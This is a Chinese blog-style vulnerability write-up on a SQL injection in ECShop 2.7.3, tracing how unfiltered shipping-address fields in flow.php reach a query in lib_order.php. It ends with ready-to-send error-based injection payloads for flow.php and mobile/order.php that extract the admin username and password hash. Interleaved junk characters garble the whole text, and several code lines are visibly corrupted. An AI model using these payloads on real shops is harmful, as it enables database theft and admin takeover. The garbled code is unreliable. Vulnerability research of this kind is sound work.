前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
7 n4 B8 x$ h: I% e) B" Q, B, D# g: N0 a
漏洞关键文件:' ^# b% O$ G/ o5 F0 A3 r; I5 L) v
, d$ j0 y, l6 f6 N8 i
/includes/lib_order.php+ \- M# t; l& Z8 c, S
- [8 Q I8 c' B% f y, @3 K' d& s
关键函数:# @+ K% y+ m& w- a
+ i' k. d+ j+ S' }" C
* |# w& r6 R* }
9 ~ g( l3 E' Q8 S01 function available_shipping_list($region_id_list) & q1 Q6 }. D8 p1 ]' A# C+ _
2 e4 P3 Q5 A- p6 Y; |" f, L+ O
02 { # y- z% S. @! {& M6 V
$ d% \0 {0 ]& O# @$ N- i: g03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* O; X: |- H2 {9 P" B$ ~) P: d0 q8 R) a3 M
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
a( s* c5 F% ^, h) O1 K, t
1 Y) D6 f9 w" v; `/ V05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
' z! P7 d5 b; C' D
6 w9 j5 f6 _& j; {# }9 `, q06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: [( q$ N5 E& g! C2 v3 o& J) O3 s1 Z
$ k6 H# X$ U6 o" l8 V6 c% I, q q07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ! l! K3 W* h. e2 u* n# a% j2 }3 R
# b0 G& ]2 v- y A/ Z/ W0 h: @' x08 'WHERE r.region_id ' . db_create_in($region_id_list) .
5 e7 J: M6 z" B. C: f9 @8 ?
3 V" ?! g X- i09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 p: `8 O; H& z9 ~3 s( ~! N: a
4 }* t$ w+ e. A10 1 j* ~" h2 {0 ~1 Q
* s* m! `. U1 `$ l+ B3 K6 \. O
11 return $GLOBALS['db']->getAll($sql);
0 Q: g' u, s) Z! [
2 ~2 m( g( l! v' B" w( L12 } 1 O$ t+ m) t: T% ^' `
* b" S; y( V# }6 P显然对传入的参数没有任何过滤就带入了查询语句。9 ^8 r3 D+ d2 U) I+ r
2 [' n! f/ @* Q& Q- Z- u: s. S
下面我们追踪这个函数在flow.php中:+ r/ ~9 }+ D3 U& U2 j
第531行: # s& N6 j7 U; O/ t
, v9 O" x* n- e2 a. K9 J" h! O1 $shipping_list = available_shipping_list($region);
& U" C7 ?7 F8 x& k1 e' d& H- _
! T7 v& {& N! a( H( X7 F1 |
; T" [0 M& B: h' N$ Z% n, u, Z% K) f4 o, U E
5 E8 a0 D2 s6 ~" ^. q7 ~
6 o6 `2 v$ ` Q' R: Z$ {) ~再对传入变量进行追踪:: ^7 p9 U+ R e' E: E
. c# S- B3 r, e& J1 D. H1 q第530行: ! w6 Z" a( m( u9 d" \
3 `. ~# ~1 V: Z* @" I' y; w+ S
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 {5 O# T/ \1 H' v0 _. E0 U; X; b; `
8 ?+ q) X7 u: d6 i. n% l: D( V0 k5 K% G
3 c3 W0 | y9 V9 G! A) r / r) S, i7 g( Y8 O9 x; C
& ]' R6 y6 {% q第473行:
2 i: T5 k6 k, u9 C) n5 O( H4 H( s8 w& }, L4 ?5 N& W& h8 m% U
1 $consignee = get_consignee($_SESSION['user_id']);
, M3 t0 b9 V1 V7 Y( Y9 P
) d! @' _0 Y$ @到了一个关键函数:
/ _: P0 T) }: g. y
8 d3 V7 e6 v7 R6 ^8 ]0 Q! J/includes/lib_order.php; o- w# |- @: s4 ?8 |' l* u! ]+ \8 }
) q+ r0 d& t( E
, L- A4 z* X& ?. O2 @# b5 Q% G+ }& A; {( {% s$ m
4 D/ }' f* f/ _4 U
/ n" P6 y/ B% p- B01 function get_consignee($user_id)
, f4 U1 R' J J8 J0 X3 [6 _% ?# Q. u# i4 I, z3 W& {/ I
02 { 7 G( W9 W+ H0 x$ g, T
0 j1 J4 H+ i0 o
03 if (isset($_SESSION['flow_consignee'])) ( o; M5 V! U, P- Q) |# Y: }
+ u4 [& E3 s( q! K* e0 w! T- r! ^04 { 6 |6 s6 {" I% h( ]7 _% Z# A
# B( ~" a) n0 m$ ~( u% r05 /* 如果存在session,则直接返回session中的收货人信息 */ ' C6 A; X+ _% ?& p7 W* ~
9 W1 B8 o. A( ?' C06 B+ M* |2 R" P& i, P5 Q
3 E. Q1 d5 ~3 v* F9 X07 return $_SESSION['flow_consignee'];
8 B8 v8 d" R& x. J2 D4 i) d" z1 Q2 I7 B: c/ g
08 }
( i# T/ Q& i" |% ~# b2 E' ^7 U2 \ ~. O
09 else 7 M+ G+ N2 ~8 A
: h; x! _9 b/ J10 { . x# F' l' v( D) ~2 I2 m( F
: Q' T+ w, A4 B0 [# B0 @1 O! S
11 /* 如果不存在,则取得用户的默认收货人信息 */
0 H% ?6 e j0 d. h* R
+ I( L; n+ p3 S) i. M( o- W12 $arr = array();
1 Y$ R, R3 @# [: R$ Q- `1 J: V, E k; b. W( Z" I0 [3 O
13 |. Y5 D* t* k0 b0 \/ I
: A3 I! j2 r; g" b8 t4 P
14 if ($user_id > 0) / U& ^; E$ n$ e) y7 D
& @9 ~7 B1 u3 _9 h0 E3 H, g
15 {
- {, o3 g Y9 z, O2 k# z/ r1 G0 y2 B- t
16 /* 取默认地址 */ 8 [( v& ~+ O) }) F) o
% a6 s/ g0 t$ _17 $sql = "SELECT ua.*".
+ q. u" C2 M: B
% u, C3 R& v. n18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ g+ u8 w7 n# \) O- V$ K
/ O& p5 W6 C9 x. h/ h' H$ V
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 C |4 K$ S0 j- z& \& y' v
' L* G/ L5 _. }0 Q( Y( V$ P20
$ P7 m) d% i* t3 M% h* ]% B
: x9 Q& J1 l/ @4 y0 ]21 $arr = $GLOBALS['db']->getRow($sql);
[2 ]& P- C2 e, o- _% ~! @1 i9 L% k s7 T7 i4 S& _. ]
22 }
: ]' W+ D: Q6 H" U& |; r4 U9 {6 e( E$ ?
23 : I. W X/ J" v
9 K7 [. q' P R4 n
24 return $arr;
1 q0 }) W* r/ x6 t1 t- w, b. o, t
3 n$ w- w# O) L% g, ?+ g9 l25 }
7 ~$ D0 l( L2 V( B9 N; R- `
( T2 m% _% K) o4 b! q! V0 K w* p26 }
8 r" a& b/ z+ j }! F
; W! p6 e+ J6 |7 R- _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" x! ^. }6 f1 ^
" s2 _1 h& L& N, A% v7 U6 n
, {4 J! r4 d# Q7 t: q5 ]/ q( Q0 S
* R: w/ x7 P- V6 C, t2 P
关键点:
' c1 m* a/ Y w$ F
+ w7 C9 T4 Q9 L第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 s: f5 G& p5 r2 H9 X* m% j2 d6 F8 Z+ y/ p5 f- e' U
这里对传入参数反转义存入$_SESSION中。$ {' r7 j. V. D2 R2 Q2 G* _
; F7 A2 n% i8 z! i/ I$ A- G
3 N3 O" o: [ ]3 _9 V: o5 ]* [5 S4 u
, i3 N4 ~" I+ s) Q8 t, o然后看下:8 w3 L! S/ j: [
- ]' P1 H- e/ X d( w
4 b: P0 v* U; p- V2 A8 t& ]* L4 T
4 `! P! Q: b* V2 V/ R* s ! _$ `$ s, @4 K" a* \9 `
$ W4 o& i% }! C5 B- x5 o# `5 T01 $consignee = array(
1 Z, l2 X, D p3 }$ d
* i7 `+ D- l; w$ m0 }- R- @) @5 c8 d02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 7 k* U- ~9 ^: }- U
* o# L! g0 @3 U: y/ m* D03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
$ p+ X6 G" B/ K+ T; P' H6 f. p6 g! C; G" Y0 ?
04 'country' => empty($_POST['country']) ? '' _POST['country'],
3 K% n: O. n) P
- A; ~4 _/ S) v7 a0 E& T$ S05 'province' => empty($_POST['province']) ? '' _POST['province'], ; e7 a6 P2 L$ ? b
( r6 j( D$ U+ ?9 r06 'city' => empty($_POST['city']) ? '' _POST['city'],
4 W6 \, e' R5 L$ ?. g- y' p% K
U. [, Y) t: a' L07 'district' => empty($_POST['district']) ? '' _POST['district'],
! c( c: L \- k5 l$ y, N# T$ E& k7 f' S1 ~
08 'email' => empty($_POST['email']) ? '' _POST['email'],
1 s* q- ~# U% ]' L/ K( V7 t8 I* C! z. x4 |
09 'address' => empty($_POST['address']) ? '' _POST['address'],
' ~* d/ q& N! Z7 n7 D4 G2 k0 J5 s; m' q& l6 U) N4 ^
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), " [5 \ W {+ M8 K6 ~
4 B* B$ i4 C4 N- A! ^$ C11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
! H& t2 m" l2 R# X7 v
6 H$ Z+ o; B7 i! m r: k9 {% T4 w12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 4 Z [! t- k5 @" ~" `% O
! w, W/ P q7 s6 E) V$ I5 P( ?$ R. E
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ; v" Q5 `) ^: r; |5 \
" w) Z; z: q- g7 t6 _- O/ g
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
: ?$ x/ r+ C5 {# u! p/ F) T8 S0 K1 e, J& r9 s$ o
15 ); . W2 d4 d2 f, P/ l
+ g2 o. d, a' `# j
好了注入就这样出现了。$ h3 G/ X7 H( ?+ |3 S
6 i- j* W; l1 c- b5 R# Y9 e==================; j# J+ Z+ i7 z. O& g8 @
) Y8 k# b" H- W1 L注入测试:
) G3 Q5 ]/ s% K5 K1 E6 `' C1 @ M0 y0 _1 |8 w8 T+ Z/ Q4 t
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)( f4 ? k; g( `3 b0 d2 c- s
1 ?9 |4 M7 a$ R5 g% w+ G测试程序:ECShop_V2.7.3_UTF8_release1106
/ b) `2 g& [7 G1 Z* d! ]. j- i+ O5 Q2 ^, }8 l t$ U
2 G( e5 {' j: Y4 ~, r4 _: Y* h. X4 f% t- i D: ]3 [" K: r. x
1.首先需要点击一个商品加入购物车
: A3 y; I" q2 F% T+ u
3 n8 a8 g4 n$ F2.注册一个会员帐号
! q' I$ C7 S* L8 V2 b
) l; k( A: [9 Q& {3 |3.post提交数据$ }: D4 ~4 O/ x- l
1 v6 ^# n/ q$ {/ c# p# U" _ 0 s: i/ D: U$ e
2 F! f2 l `# ^) W6 z: o1 http://127.0.0.1/ecshop/flow.php
' j# V4 ~. D8 u5 n/ z6 H5 I8 P& W# o% r" J- ]# A2 S
2
% g+ B3 }3 b0 l0 _3 |4 Q/ c/ a3 Z6 t+ e: z r" A+ N$ y' v
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= + y9 E2 R, F. [) n& x
举一反三,我们根据这个漏洞我们可以继续深入挖掘:; `: H8 t5 b7 p( b+ }
4 `% Q1 w1 r, b; H
我们搜寻关键函数function available_shipping_list()
0 ^$ c T# L" L; O! B8 D) V% n. q4 D- p* W# l, W2 R
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同. Z# k8 n# S! p/ E# g$ J6 k2 \4 M' B
5 o8 Y0 b8 j6 x# U% T) T8 i) n
利用exp:* v) l# U7 o( S2 X/ k# {
& J- ]' a7 B6 W( J0 S1.点击一个商品,点击购买商标
4 N+ Z, Y9 I8 @1 Q _/ E$ q
4 X# K# E5 s& i2.登录会员帐号
# }( u; a* D) _+ K; X/ ]
2 l% i' \: J) @% D) R8 r3.post提交:, Q! h& B5 v( d& f* h' N: G
. H: x( V2 k; n9 n4 rhttp://127.0.0.1/ecshop/mobile/order.php
" x' R6 u4 C1 a8 w
/ L" `' a% B- I2 ?4 H$ o ' W8 S2 C( g' {) S: m( O7 |9 I
' E( N+ M3 s. G3 V% c9 Y
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
: M( `3 P# d$ l! @- ?; F) G; r* Z+ {8 ~
|